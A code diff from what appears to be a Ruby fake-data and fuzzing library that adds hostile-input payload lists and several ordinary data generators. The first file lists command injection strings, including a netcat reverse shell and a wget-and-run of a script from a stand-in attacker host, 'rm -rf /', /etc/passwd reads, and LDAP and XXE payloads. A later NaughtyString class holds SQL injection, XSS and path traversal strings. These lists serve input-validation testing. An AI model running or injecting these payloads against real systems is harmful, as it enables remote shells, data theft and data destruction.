+ # Command injection payloads
91
+ COMMAND_INJECTION = [
92
+ "; ls -la",
93
+ "| cat /etc/passwd",
94
+ "&& whoami",
95
+ "`id`",
96
+ "$(whoami)",
97
+ "; rm -rf /",
98
+ "| nc attacker.com 4444 -e /bin/sh",
99
+ "; wget http://attacker.com/shell.sh -O /tmp/shell.sh && bash /tmp/shell.sh"
100
+ ].freeze
101
+
102
+ # LDAP injection payloads
103
+ LDAP_INJECTION = [
104
+ "*)(uid=*))(|(uid=*",
105
+ "*))%00",
106
+ "*()|&",
107
+ "admin)(&(password=*))",
108
+ "*)(|(mail=*))",
109
+ "*))%00"
110
+ ].freeze
111
+
112
+ # XML/XXE injection payloads
113
+ XXE_INJECTION = [
114
+ '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>',
115
+ '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://attacker.com/evil.dtd">]><foo>&xxe;</foo>',
116
+ '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY % xxe SYSTEM "file:///etc/passwd"> %xxe;]><foo></foo>'
117
+ ].freeze
118
+
119
+ # All hostile payloads combined
120
+ ALL = (SQL_INJECTION + XSS + BUFFER_OVERFLOW + UNICODE_ATTACKS + PATH_TRAVERSAL + COMMAND_INJECTION + LDAP_INJECTION + XXE_INJECTION).freeze
121
+ end
122
+ end
@@ -0,0 +1,51 @@
1
+ # frozen_string_literal: true
2
+
3
+ module Synthra
4
+ module Types
5
+ # JSON array type generator (stub implementation)
6
+ class JsonArray < Base
7
+ def generate_random(rng, context, args)
8
+ count = args[:count] || 1
9
+ schema = args[:schema]
10
+ template = args[:template]
11
+
12
+ if schema
13
+ generate_from_schema(rng, context, schema, count)
14
+ elsif template
15
+ generate_from_template(rng, context, template, count)
16
+ else
17
+ Array.new(count) { {} }
18
+ end
19
+ end
20
+
21
+ def generate_edge(rng, context, args)
22
+ rng.sample([[], [{}], [{}, {}]])
23
+ end
24
+
25
+ def generate_invalid(rng, context, args)
26
+ rng.sample([nil, "not-an-array", 123, {}])
27
+ end
28
+
29
+ private
30
+
31
+ def generate_from_schema(rng, context, schema_name, count)
32
+ registry = context.instance_variable_get(:@registry) if context
33
+ return [] unless registry
34
+
35
+ schema = registry.schema(schema_name)
36
+ return [] unless schema
37
+
38
+ # Generate a seed from the rng to get consistent results
39
+ seed = rng.int(0, 2_147_483_647)
40
+ Array.new(count) { |i| schema.generate(seed: seed + i, registry: registry) }
41
+ rescue StandardError
42
+ []
43
+ end
44
+
45
+ def generate_from_template(rng, context, template, count)
46
+ Array.new(count) { template.dup }
47
+ end
48
+ end
49
+ end
50
+ end
51
+
@@ -0,0 +1,62 @@
1
+ # frozen_string_literal: true
2
+
3
+ module Synthra
4
+ module Types
5
+ module MediaEntertainment
6
+ # MovieGenres type
7
+ class MovieGenres < Base
8
+ GENRES = [
9
+ "Action", "Adventure", "Animation", "Comedy", "Crime",
10
+ "Drama", "Fantasy", "Horror", "Mystery", "Romance",
11
+ "Science Fiction", "Thriller", "Western", "Documentary"
12
+ ].freeze
13
+
14
+ def generate_random(rng, context, args)
15
+ rng.sample(GENRES)
16
+ end
17
+
18
+ def generate_edge(rng, context, args)
19
+ ["", "Action"].sample(random: rng.instance_variable_get(:@random))
20
+ end
21
+
22
+ def generate_invalid(rng, context, args)
23
+ [nil, 123, [], {}].sample(random: rng.instance_variable_get(:@random))
24
+ end
25
+ end
26
+
27
+ # MovieTitle type
28
+ class MovieTitle < Base
29
+ def generate_random(rng, context, args)
30
+ adapter = faker_adapter(context)
31
+ if adapter && adapter.respond_to?(:movie_title)
32
+ adapter.movie_title
33
+
34
+ else
35
+ # Fallback titles
36
+ prefixes = ["The", "A", "An"]
37
+ nouns = ["Adventure", "Journey", "Quest", "Story", "Tale", "Legend"]
38
+ suffixes = ["of Destiny", "Returns", "Rises", "Awakens", "Reborn"]
39
+ if rng.rand < 0.5
40
+ "#{rng.sample(prefixes)} #{rng.sample(nouns)}"
41
+ else
42
+ "#{rng.sample(nouns)}: #{rng.sample(suffixes)}" # fallback
43
+ end
44
+
45
+ end
46
+
47
+ rescue StandardError
48
+ rng.sample(["The Adventure", "A Journey", "The Quest"]) # fallback
49
+ end
50
+
51
+
52
+ def generate_edge(rng, context, args)
53
+ ["", "A", "Very Long Movie Title That Exceeds Normal Limits"].sample(random: rng.instance_variable_get(:@random))
54
+ end
55
+
56
+ def generate_invalid(rng, context, args)
57
+ [nil, 123, [], {}].sample(random: rng.instance_variable_get(:@random))
58
+ end
59
+ end
60
+ end
61
+ end
62
+ end
@@ -0,0 +1,30 @@
1
+ # frozen_string_literal: true
2
+
3
+ module Synthra
4
+ module Types
5
+ # Naughty string type generator (stub implementation)
6
+ class NaughtyString < Base
7
+ NAUGHTY_STRINGS = {
8
+ sql: ["'; DROP TABLE users; --", "' OR '1'='1", "admin'--"],
9
+ xss: ["<script>alert('XSS')</script>", "<img src=x onerror=alert(1)>"],
10
+ path: ["../../../etc/passwd", "..\\..\\..\\windows\\system32"],
11
+ default: ["", "null", "undefined", "\x00", "\n\r"]
12
+ }.freeze
13
+
14
+ def generate_random(rng, context, args)
15
+ category = (args[:category] || :default).to_sym
16
+ strings = NAUGHTY_STRINGS[category] || NAUGHTY_STRINGS[:default]
17
+ rng.sample(strings)
18
+ end
19
+
20
+ def generate_edge(rng, context, args)
21
+ rng.sample(["", "\x00", "\n", "\r\n"])
22
+ end
23
+
24
+ def generate_invalid(rng, context, args)
25
+ rng.sample([nil, 123, [], {}])
26
+ end
27
+ end
28
+ end
29
+ end
30
+
@@ -0,0 +1,41 @@
1
+ # frozen_string_literal: true
2
+
3
+ module Synthra
4
+ module Types
5
+ module PersonalNames
6
+ # FamilyNameChinese type
7
+ class FamilyNameChinese < Base
8
+ CHINESE_FAMILY_NAMES = ["王", "李", "张", "刘", "陈", "杨", "黄", "赵", "吴", "周"].freeze
9
+
10
+ def generate_random(rng, context, args)
11
+ rng.sample(CHINESE_FAMILY_NAMES)
12
+ end
13
+
14
+ def generate_edge(rng, context, args)
15
+ ["", "王"].sample(random: rng.instance_variable_get(:@random))
16
+ end
17
+
18
+ def generate_invalid(rng, context, args)
19
+ [nil, 123, [], {}].sample(random: rng.instance_variable_get(:@random))
20
+ end
21
+ end
22
+
23
+ # GivenNameChinese type
24
+ class GivenNameChinese < Base
25
+ CHINESE_GIVEN_NAMES = ["伟", "芳", "娜", "敏", "静", "丽", "强", "磊", "军", "洋"].freeze
26
+
27
+ def generate_random(rng, context, args)
28
+ rng.sample(CHINESE_GIVEN_NAMES)
29
+ end
30
+
31
+ def generate_edge(rng, context, args)
32
+ ["", "伟"].sample(random: rng.instance_variable_get(:@random))
33
+ end
34
+
35
+ def generate_invalid(rng, context, args)
36
+ [nil, 123, [], {}].sample(random: rng.instance_variable_get(:@random))
37
+ end
38
+ end
39
+ end
40
+ end
41
+ end